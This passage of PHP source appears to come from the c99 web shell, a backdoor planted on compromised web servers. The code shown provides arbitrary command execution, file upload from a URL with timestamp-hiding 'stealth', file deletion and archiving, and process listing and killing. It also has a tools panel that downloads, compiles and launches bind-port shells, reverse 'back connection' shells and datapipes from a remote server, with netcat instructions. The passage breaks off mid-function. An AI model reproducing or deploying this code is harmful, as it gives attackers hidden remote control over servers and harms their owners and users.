            elseif (!empty($uploadurl))
            {
                if (!empty($uploadfilename))
                {
                    $destin = $uploadfilename;
                }
                else
                {
                    $destin = explode("/", $destin);
                    $destin = $destin[count($destin) - 1];
                    if (empty($destin))
                    {
                        $i = 0;
                        $b = "";
                        while (file_exists($uploadpath . $destin))
                        {
                            if ($i > 0)
                            {
                                $b = "_" . $i;
                            }
                            $destin = "index" . $b . ".html";
                            $i++;
                        }
                    }
                }
                if ((!preg_match("http://", $uploadurl)) and (!preg_match("https://", $uploadurl)) and (!preg_match("ftp://", $uploadurl)))
                {
                    echo "<b>Incorect url!</b><br>";
                }
                else
                {
                    $st = getmicrotime();
                    $content = @file_get_contents($uploadurl);
                    $dt = round(getmicrotime() - $st, 4);
                    if (!$content)
                    {
                        $uploadmess .= "Can't download file!<br>";
                    }
                    else
                    {
                        if ($filestealth)
                        {
                            $stat = stat($uploadpath . $destin);
                        }
                        $fp = fopen($uploadpath . $destin, "w");
                        if (!$fp)
                        {
                            $uploadmess .= "Error writing to file " . htmlspecialchars($destin) . "!<br>";
                        }
                        else
                        {
                            fwrite($fp, $content, strlen($content));
                            fclose($fp);
                            if ($filestealth)
                            {
                                touch($uploadpath . $destin, $stat[9], $stat[8]);
                            }
                        }
                    }
                }
            }
        }
        if ($miniform)
        {
            echo "<b>" . $uploadmess . "</b>";
            $act = "ls";
        }
        else
        {
            echo "<b>File upload:</b><br><b>" . $uploadmess . "</b><form enctype=\"multipart/form-data\" action=\"" . $surl . "act=upload&d=" . urlencode($d) . "\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"" . htmlspecialchars($uploadurl) . "\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"" . $dispd . "\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload\">
</form>";
        }
    }
    if ($act == "delete")
    {
        $delerr = "";
        foreach ($actbox as $v)
        {
            $result = false;
            $result = fs_rmobj($v);
            if (!$result)
            {
                $delerr .= "Can't delete " . htmlspecialchars($v) . "<br>";
            }
        }
        if (!empty($delerr))
        {
            echo "<b>Deleting with errors:</b><br>" . $delerr;
        }
        $act = "ls";
    }
    if (!$usefsbuff)
    {
        if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect"))
        {
            echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";
        }
    }
    else
    {
        if ($act == "copy")
        {
            $err = "";
            $sess_data["copy"] = array_merge($sess_data["copy"], $actbox);
            c99_sess_put($sess_data);
            $act = "ls";
        }
        elseif ($act == "cut")
        {
            $sess_data["cut"] = array_merge($sess_data["cut"], $actbox);
            c99_sess_put($sess_data);
            $act = "ls";
        }
        elseif ($act == "unselect")
        {
            foreach ($sess_data["copy"] as $k => $v)
            {
                if (in_array($v, $actbox))
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                if (in_array($v, $actbox))
                {
                    unset($sess_data["cut"][$k]);
                }
            }
            c99_sess_put($sess_data);
            $act = "ls";
        }
        if ($actemptybuff)
        {
            $sess_data["copy"] = $sess_data["cut"] = array();
            c99_sess_put($sess_data);
        }
        elseif ($actpastebuff)
        {
            $psterr = "";
            foreach ($sess_data["copy"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_copy_obj($v, $to))
                {
                    $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
                }
                if ($copy_unset)
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_move_obj($v, $to))
                {
                    $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
                }
                unset($sess_data["cut"][$k]);
            }
            c99_sess_put($sess_data);
            if (!empty($psterr))
            {
                echo "<b>Pasting with errors:</b><br>" . $psterr;
            }
            $act = "ls";
        }
        elseif ($actarcbuff)
        {
            $arcerr = "";
            if (substr($actarcbuff_path, -7, 7) == ".tar.gz")
            {
                $ext = ".tar.gz";
            }
            else
            {
                $ext = ".tar.gz";
            }
            if ($ext == ".tar.gz")
            {
                $cmdline = "tar cfzv";
            }
            $cmdline .= " " . $actarcbuff_path;
            $objects = array_merge($sess_data["copy"], $sess_data["cut"]);
            foreach ($objects as $v)
            {
                $v = str_replace("\\", DIRECTORY_SEPARATOR, $v);
                if (substr($v, 0, strlen($d)) == $d)
                {
                    $v = basename($v);
                }
                if (is_dir($v))
                {
                    if (substr($v, -1) != DIRECTORY_SEPARATOR)
                    {
                        $v .= DIRECTORY_SEPARATOR;
                    }
                    $v .= "*";
                }
                $cmdline .= " " . $v;
            }
            $tmp = realpath(".");
            chdir($d);
            $ret = myshellexec($cmdline);
            chdir($tmp);
            if (empty($ret))
            {
                $arcerr .= "Can't call archivator (" . htmlspecialchars(str2mini($cmdline, 60)) . ")!<br>";
            }
            $ret = str_replace("\r\n", "\n", $ret);
            $ret = explode("\n", $ret);
            if ($copy_unset)
            {
                foreach ($sess_data["copy"] as $k => $v)
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                if (in_array($v, $ret))
                {
                    fs_rmobj($v);
                }
                unset($sess_data["cut"][$k]);
            }
            c99_sess_put($sess_data);
            if (!empty($arcerr))
            {
                echo "<b>Archivation errors:</b><br>" . $arcerr;
            }
            $act = "ls";
        }
        elseif ($actpastebuff)
        {
            $psterr = "";
            foreach ($sess_data["copy"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_copy_obj($v, $d))
                {
                    $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
                }
                if ($copy_unset)
                {
                    unset($sess_data["copy"][$k]);
                }
            }
            foreach ($sess_data["cut"] as $k => $v)
            {
                $to = $d . basename($v);
                if (!fs_move_obj($v, $d))
                {
                    $psterr .= "Can't move " . $v . " to " . $to . "!<br>";
                }
                unset($sess_data["cut"][$k]);
            }
            c99_sess_put($sess_data);
            if (!empty($psterr))
            {
                echo "<b>Pasting with errors:</b><br>" . $psterr;
            }
            $act = "ls";
        }
    }
    if ($act == "cmd")
    {
        if (trim($cmd) == "ps -aux")
        {
            $act = "processes";
        }
        elseif (trim($cmd) == "tasklist")
        {
            $act = "processes";
        }
        else
        {
            @chdir($chdir);
            if (!empty($submit))
            {
                echo "<b>Result of execution this command</b>:<br>";
                $olddir = realpath(".");
                @chdir($d);
                $ret = myshellexec($cmd);
                $ret = convert_cyr_string($ret, "d", "w");
                if ($cmd_txt)
                {
                    $rows = count(explode("\r\n", $ret)) + 1;
                    if ($rows < 10)
                    {
                        $rows = 10;
                    }
                    echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
                }
                else
                {
                    echo $ret . "<br>";
                }
                @chdir($olddir);
            }
            else
            {
                echo "<b>Execution command</b>";
                if (empty($cmd_txt))
                {
                    $cmd_txt = true;
                }
            }
            echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>" . htmlspecialchars($cmd) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\"";
            if ($cmd_txt)
            {
                echo " checked";
            }
            echo "></form>";
        }
    }
    if ($act == "ls")
    {
        if (count($ls_arr) > 0)
        {
            $list = $ls_arr;
        }
        else
        {
            $list = array();
            if ($h = @opendir($d))
            {
                while (($o = readdir($h)) !== false)
                {
                    $list[] = $d . $o;
                }
                closedir($h);
            }
            else
            {
            }
        }
        if (count($list) == 0)
        {
            echo "<center><b>Can't open folder (" . htmlspecialchars($d) . ")!</b></center>";
        }
        else
        {
            $objects = array();
            $vd = "f";
            if ($vd == "f")
            {
                $objects["head"] = array();
                $objects["folders"] = array();
                $objects["links"] = array();
                $objects["files"] = array();
                foreach ($list as $v)
                {
                    $o = basename($v);
                    $row = array();
                    if ($o == ".")
                    {
                        $row[] = $d . $o;
                        $row[] = "LINK";
                    }
                    elseif ($o == "..")
                    {
                        $row[] = $d . $o;
                        $row[] = "LINK";
                    }
                    elseif (is_dir($v))
                    {
                        if (is_link($v))
                        {
                            $type = "LINK";
                        }
                        else
                        {
                            $type = "DIR";
                        }
                        $row[] = $v;
                        $row[] = $type;
                    }
                    elseif (is_file($v))
                    {
                        $row[] = $v;
                        $row[] = filesize($v);
                    }
                    $row[] = filemtime($v);
                    if (!$win)
                    {
                        $ow = posix_getpwuid(fileowner($v));
                        $gr = posix_getgrgid(filegroup($v));
                        $row[] = ($ow["name"] ? $ow["name"] : fileowner($v)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($v));
                    }
                    $row[] = fileperms($v);
                    if (($o == ".") or ($o == ".."))
                    {
                        $objects["head"][] = $row;
                    }
                    elseif (is_link($v))
                    {
                        $objects["links"][] = $row;
                    }
                    elseif (is_dir($v))
                    {
                        $objects["folders"][] = $row;
                    }
                    elseif (is_file($v))
                    {
                        $objects["files"][] = $row;
                    }
                    $i++;
                }
                $row = array();
                $row[] = "<b>Name</b>";
                $row[] = "<b>Size</b>";
                $row[] = "<b>Modify</b>";
                if (!$win)
                {
                    $row[] = "<b>Owner/Group</b>";
                }
                $row[] = "<b>Perms</b>";
                $row[] = "<b>Action</b>";
                $parsesort = parsesort($sort);
                $sort = $parsesort[0] . $parsesort[1];
                $k = $parsesort[0];
                if ($parsesort[1] != "a")
                {
                    $parsesort[1] = "d";
                }
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $k . ($parsesort[1] == "a" ? "d" : "a") . "\">";
                $y .= "<img src=\"" . $surl . "act=img&img=sort_" . ($sort[1] == "a" ? "asc" : "desc") . "\" height=\"9\" width=\"14\" alt=\"" . ($parsesort[1] == "a" ? "Asc." : "Desc") . "\" border=\"0\"></a>";
                $row[$k] .= $y;
                for ($i = 0;$i < count($row) - 1;$i++)
                {
                    if ($i != $k)
                    {
                        $row[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&sort=" . $i . $parsesort[1] . "\">" . $row[$i] . "</a>";
                    }
                }
                $v = $parsesort[0];
                usort($objects["folders"], "tabsort");
                usort($objects["links"], "tabsort");
                usort($objects["files"], "tabsort");
                if ($parsesort[1] == "d")
                {
                    $objects["folders"] = array_reverse($objects["folders"]);
                    $objects["files"] = array_reverse($objects["files"]);
                }
                $objects = array_merge($objects["head"], $objects["folders"], $objects["links"], $objects["files"]);
                $tab = array();
                $tab["cols"] = array(
                    $row
                );
                $tab["head"] = array();
                $tab["folders"] = array();
                $tab["links"] = array();
                $tab["files"] = array();
                $i = 0;
                foreach ($objects as $a)
                {
                    $v = $a[0];
                    $o = basename($v);
                    $dir = dirname($v);
                    if ($disp_fullpath)
                    {
                        $disppath = $v;
                    }
                    else
                    {
                        $disppath = $o;
                    }
                    $disppath = str2mini($disppath, 60);
                    if (in_array($v, $sess_data["cut"]))
                    {
                        $disppath = "<strike>" . $disppath . "</strike>";
                    }
                    elseif (in_array($v, $sess_data["copy"]))
                    {
                        $disppath = "<u>" . $disppath . "</u>";
                    }
                    foreach ($regxp_highlight as $r)
                    {
                        if (preg_match($r[0], $o))
                        {
                            if ((!is_numeric($r[1])) or ($r[1] > 3))
                            {
                                $r[1] = 0;
                                ob_clean();
                                echo "Warning! Configuration error in \$regxp_highlight[" . $k . "][0] - unknown command.";
                                c99shexit();
                            }
                            else
                            {
                                $r[1] = round($r[1]);
                                $isdir = is_dir($v);
                                if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
                                {
                                    if (empty($r[2]))
                                    {
                                        $r[2] = "<b>";
                                        $r[3] = "</b>";
                                    }
                                    $disppath = $r[2] . $disppath . $r[3];
                                    if ($r[4])
                                    {
                                        break;
                                    }
                                }
                            }
                        }
                    }
                    $uo = urlencode($o);
                    $ud = urlencode($dir);
                    $uv = urlencode($v);
                    $row = array();
                    if ($o == ".")
                    {
                        $row[] = "<img src=\"" . $surl . "act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\">" . $o . "</a>";
                        $row[] = "LINK";
                    }
                    elseif ($o == "..")
                    {
                        $row[] = "<img src=\"" . $surl . "act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode(realpath($d . $o)) . "&sort=" . $sort . "\">" . $o . "</a>";
                        $row[] = "LINK";
                    }
                    elseif (is_dir($v))
                    {
                        if (is_link($v))
                        {
                            $disppath .= " => " . readlink($v);
                            $type = "LINK";
                            $row[] = "<img src=\"" . $surl . "act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\">[" . $disppath . "]</a>";
                        }
                        else
                        {
                            $type = "DIR";
                            $row[] = "<img src=\"" . $surl . "act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=ls&d=" . $uv . "&sort=" . $sort . "\">[" . $disppath . "]</a>";
                        }
                        $row[] = $type;
                    }
                    elseif (is_file($v))
                    {
                        $ext = explode(".", $o);
                        $c = count($ext) - 1;
                        $ext = $ext[$c];
                        $ext = strtolower($ext);
                        $row[] = "<img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\">&nbsp;<a href=\"" . $surl . "act=f&f=" . $uo . "&d=" . $ud . "&\">" . $disppath . "</a>";
                        $row[] = view_size($a[1]);
                    }
                    $row[] = date("d.m.Y H:i:s", $a[2]);
                    if (!$win)
                    {
                        $row[] = $a[3];
                    }
                    $row[] = "<a href=\"" . $surl . "act=chmod&f=" . $uo . "&d=" . $ud . "\"><b>" . view_perms_color($v) . "</b></a>";
                    if ($o == ".")
                    {
                        $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";
                        $i--;
                    }
                    else
                    {
                        $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox" . $i . "\" value=\"" . htmlspecialchars($v) . "\">";
                    }
                    if (is_dir($v))
                    {
                        $row[] = "<a href=\"" . $surl . "act=d&d=" . $uv . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;" . $checkbox;
                    }
                    else
                    {
                        $row[] = "<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=info&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=edit&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=download&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;" . $checkbox;
                    }
                    if (($o == ".") or ($o == ".."))
                    {
                        $tab["head"][] = $row;
                    }
                    elseif (is_link($v))
                    {
                        $tab["links"][] = $row;
                    }
                    elseif (is_dir($v))
                    {
                        $tab["folders"][] = $row;
                    }
                    elseif (is_file($v))
                    {
                        $tab["files"][] = $row;
                    }
                    $i++;
                }
            }
            $table = array_merge($tab["cols"], $tab["head"], $tab["folders"], $tab["links"], $tab["files"]);
            echo "<center><b>Listing folder (" . count($tab["files"]) . " files and " . (count($tab["folders"]) + count($tab["links"])) . " folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"" . $surl . "\" method=POST name=\"ls_form\"><input type=hidden name=act value=" . $dspact . "><input type=hidden name=d value=" . $d . ">";
            foreach ($table as $row)
            {
                echo "<tr>\r\n";
                foreach ($row as $v)
                {
                    echo "<td>" . $v . "</td>\r\n";
                }
                echo "</tr>\r\n";
            }
            echo "</table><hr size=\"1\" noshade><p align=\"right\">
  <script>
  function ls_setcheckboxall(status)
  {
   var id = 0;
   var num = " . (count($table) - 2) . ";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = status;
    id++;
   }
  }
  function ls_reverse_all()
  {
   var id = 0;
   var num = " . (count($table) - 2) . ";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
    id++;
   }
  }
  </script>
  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> 
  <b><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\">";
            if (count(array_merge($sess_data["copy"], $sess_data["cut"])) > 0 and ($usefsbuff))
            {
                echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_" . substr(md5(rand(1, 1000) . rand(1, 1000)) , 0, 5) . ".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
            }
            echo "<select name=act><option value=\"" . $act . "\">With selected:</option>";
            echo "<option value=delete" . ($dspact == "delete" ? " selected" : "") . ">Delete</option>";
            echo "<option value=chmod" . ($dspact == "chmod" ? " selected" : "") . ">Change-mode</option>";
            if ($usefsbuff)
            {
                echo "<option value=cut" . ($dspact == "cut" ? " selected" : "") . ">Cut</option>";
                echo "<option value=copy" . ($dspact == "copy" ? " selected" : "") . ">Copy</option>";
                echo "<option value=unselect" . ($dspact == "unselect" ? " selected" : "") . ">Unselect</option>";
            }
            echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
            echo "</form>";
        }
    }
    if ($act == "tools")
    {
        $bndportsrcs = array(
            "c99sh_bindport.pl" => array(
                "Using PERL",
                "perl %path %port"
            ) ,
            "c99sh_bindport.c" => array(
                "Using C",
                "%path %port %pass"
            )
        );
        $bcsrcs = array(
            "c99sh_backconn.pl" => array(
                "Using PERL",
                "perl %path %host %port"
            ) ,
            "c99sh_backconn.c" => array(
                "Using C",
                "%path %host %port"
            )
        );
        $dpsrcs = array(
            "c99sh_datapipe.pl" => array(
                "Using PERL",
                "perl %path %localport %remotehost %remoteport"
            ) ,
            "c99sh_datapipe.c" => array(
                "Using C",
                "%path %localport %remoteport %remotehost"
            )
        );
        if (!is_array($bind))
        {
            $bind = array();
        }
        if (!is_array($bc))
        {
            $bc = array();
        }
        if (!is_array($datapipe))
        {
            $datapipe = array();
        }
        if (!is_numeric($bind["port"]))
        {
            $bind["port"] = $bindport_port;
        }
        if (empty($bind["pass"]))
        {
            $bind["pass"] = $bindport_pass;
        }
        if (empty($bc["host"]))
        {
            $bc["host"] = getenv("REMOTE_ADDR");
        }
        if (!is_numeric($bc["port"]))
        {
            $bc["port"] = $bc_port;
        }
        if (empty($datapipe["remoteaddr"]))
        {
            $datapipe["remoteaddr"] = "irc.dalnet.ru:6667";
        }
        if (!is_numeric($datapipe["localport"]))
        {
            $datapipe["localport"] = $datapipe_localport;
        }
        if (!empty($bindsubmit))
        {
            echo "<b>Result of binding port:</b><br>";
            $v = $bndportsrcs[$bind["src"]];
            if (empty($v))
            {
                echo "Unknown file!<br>";
            }
            elseif (fsockopen(getenv("SERVER_ADDR") , $bind["port"], $errno, $errstr, 0.1))
            {
                echo "Port alredy in use, select any other!<br>";
            }
            else
            {
                $w = explode(".", $bind["src"]);
                $ext = $w[count($w) - 1];
                unset($w[count($w) - 1]);
                $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
                $binpath = $tmpdir . join(".", $w) . rand(0, 999);
                if ($ext == "pl")
                {
                    $binpath = $srcpath;
                }
                @unlink($srcpath);
                $fp = fopen($srcpath, "ab+");
                if (!$fp)
                {
                    echo "Can't write sources to \"" . $srcpath . "\"!<br>";
                }
                elseif (!$data = c99getsource($bind["src"]))
                {
                    echo "Can't download sources!";
                }
                else
                {
                    fwrite($fp, $data, strlen($data));
                    fclose($fp);
                    if ($ext == "c")
                    {
                        $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
                        @unlink($srcpath);
                    }
                    $v[1] = str_replace("%path", $binpath, $v[1]);
                    $v[1] = str_replace("%port", $bind["port"], $v[1]);
                    $v[1] = str_replace("%pass", $bind["pass"], $v[1]);
                    $v[1] = str_replace("//", "/", $v[1]);
                    $retbind = myshellexec($v[1] . " > /dev/null &");
                    sleep(5);
                    $sock = fsockopen("localhost", $bind["port"], $errno, $errstr, 5);
                    if (!$sock)
                    {
                        echo "I can't connect to localhost:" . $bind["port"] . "! I think you should configure your firewall.";
                    }
                    else
                    {
                        echo "Binding... ok! Connect to <b>" . getenv("SERVER_ADDR") . ":" . $bind["port"] . "</b>! You should use NetCat&copy;, run \"<b>nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . "</b>\"!<center><a href=\"" . $surl . "act=processes&grep=" . basename($binpath) . "\"><u>View binder's process</u></a></center>";
                    }
                }
                echo "<br>";
            }
        }
        if (!empty($bcsubmit))
        {
            echo "<b>Result of back connection:</b><br>";
            $v = $bcsrcs[$bc["src"]];
            if (empty($v))
            {
                echo "Unknown file!<br>";
            }
            else
            {
                $w = explode(".", $bc["src"]);
                $ext = $w[count($w) - 1];
                unset($w[count($w) - 1]);
                $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
                $binpath = $tmpdir . join(".", $w) . rand(0, 999);
                if ($ext == "pl")
                {
                    $binpath = $srcpath;
                }
                @unlink($srcpath);
                $fp = fopen($srcpath, "ab+");
                if (!$fp)
                {
                    echo "Can't write sources to \"" . $srcpath . "\"!<br>";
                }
                elseif (!$data = c99getsource($bc["src"]))
                {
                    echo "Can't download sources!";
                }
                else
                {
                    fwrite($fp, $data, strlen($data));
                    fclose($fp);
                    if ($ext == "c")
                    {
                        $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
                        @unlink($srcpath);
                    }
                    $v[1] = str_replace("%path", $binpath, $v[1]);
                    $v[1] = str_replace("%host", $bc["host"], $v[1]);
                    $v[1] = str_replace("%port", $bc["port"], $v[1]);
                    $v[1] = str_replace("//", "/", $v[1]);
                    $retbind = myshellexec($v[1] . " > /dev/null &");
                    echo "Now script try connect to " . htmlspecialchars($bc["host"]) . ":" . htmlspecialchars($bc["port"]) . "...<br>";
                }
            }
        }
        if (!empty($dpsubmit))
        {
            echo "<b>Result of datapipe-running:</b><br>";
            $v = $dpsrcs[$datapipe["src"]];
            if (empty($v))
            {
                echo "Unknown file!<br>";
            }
            elseif (fsockopen(getenv("SERVER_ADDR") , $datapipe["port"], $errno, $errstr, 0.1))
            {
                echo "Port alredy in use, select any other!<br>";
            }
            else
            {
                $srcpath = $tmpdir . $datapipe["src"];
                $w = explode(".", $datapipe["src"]);
                $ext = $w[count($w) - 1];
                unset($w[count($w) - 1]);
                $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
                $binpath = $tmpdir . join(".", $w) . rand(0, 999);
                if ($ext == "pl")
                {
                    $binpath = $srcpath;
                }
                @unlink($srcpath);
                $fp = fopen($srcpath, "ab+");
                if (!$fp)
                {
                    echo "Can't write sources to \"" . $srcpath . "\"!<br>";
                }
                elseif (!$data = c99getsource($datapipe["src"]))
                {
                    echo "Can't download sources!";
                }
                else
                {
                    fwrite($fp, $data, strlen($data));
                    fclose($fp);
                    if ($ext == "c")
                    {
                        $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
                        @unlink($srcpath);
                    }
                    list($datapipe["remotehost"], $datapipe["remoteport"]) = explode(":", $datapipe["remoteaddr"]);
                    $v[1] = str_replace("%path", $binpath, $v[1]);
                    $v[1] = str_replace("%localport", $datapipe["localport"], $v[1]);
                    $v[1] = str_replace("%remotehost", $datapipe["remotehost"], $v[1]);
                    $v[1] = str_replace("%remoteport", $datapipe["remoteport"], $v[1]);
                    $v[1] = str_replace("//", "/", $v[1]);
                    $retbind = myshellexec($v[1] . " > /dev/null &");
                    sleep(5);
                    $sock = fsockopen("localhost", $datapipe["port"], $errno, $errstr, 5);
                    if (!$sock)
                    {
                        echo "I can't connect to localhost:" . $datapipe["localport"] . "! I think you should configure your firewall.";
                    }
                    else
                    {
                        echo "Running datapipe... ok! Connect to <b>" . getenv("SERVER_ADDR") . ":" . $datapipe["port"] . ", and you will connected to " . $datapipe["remoteaddr"] . "</b>! You should use NetCat&copy;, run \"<b>nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . "</b>\"!<center><a href=\"" . $surl . "act=processes&grep=" . basename($binpath) . "\"><u>View datapipe process</u></a></center>";
                    }
                }
                echo "<br>";
            }
        } ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php foreach ($bndportsrcs as $k => $v)
        {
            echo "<option value=\"" . $k . "\"";
            if ($k == $bind["src"])
            {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        } ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php foreach ($bcsrcs as $k => $v)
        {
            echo "<option value=\"" . $k . "\"";
            if ($k == $bc["src"])
            {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        } ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php foreach ($dpsrcs as $k => $v)
        {
            echo "<option value=\"" . $k . "\"";
            if ($k == $bc["src"])
            {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        } ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
    }
    if ($act == "processes")
    {
        echo "<b>Processes:</b><br>";
        if (!$win)
        {
            $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : "");
        }
        else
        {
            $handler = "tasklist";
        }
        $ret = myshellexec($handler);
        if (!$ret)
        {
            echo "Can't execute \"" . $handler . "\"!";
        }
        else
        {
            if (empty($processes_sort))
            {
                $processes_sort = $sort_default;
            }
            $parsesort = parsesort($processes_sort);
            if (!is_numeric($parsesort[0]))
            {
                $parsesort[0] = 0;
            }
            $k = $parsesort[0];
            if ($parsesort[1] != "a")
            {
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";
            }
            else
            {
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
            }
            $ret = htmlspecialchars($ret);
            if (!$win)
            {
                if ($pid)
                {
                    if (is_null($sig))
                    {
                        $sig = 9;
                    }
                    echo "Sending signal " . $sig . " to #" . $pid . "... ";
                    if (posix_kill($pid, $sig))
                    {
                        echo "OK.";
                    }
                    else
                    {
                        echo "ERROR.";
                    }
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", " ", $ret);
                }
                $stack = explode("\n", $ret);
                $head = explode(" ", $stack[0]);
                unset($stack[0]);
                for ($i = 0;$i < count($head);$i++)
                {
                    if ($i != $k)
                    {
                        $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . $head[$i] . "</b></a>";
                    }
                }
                $prcs = array();
                foreach ($stack as $line)
                {
                    if (!empty($line))
                    {
                        echo "<tr>";
                        $line = explode(" ", $line);
                        $line[10] = join(" ", array_slice($line, 10));
                        $line = array_slice($line, 0, 11);
                        if ($line[0] == get_current_user())
                        {
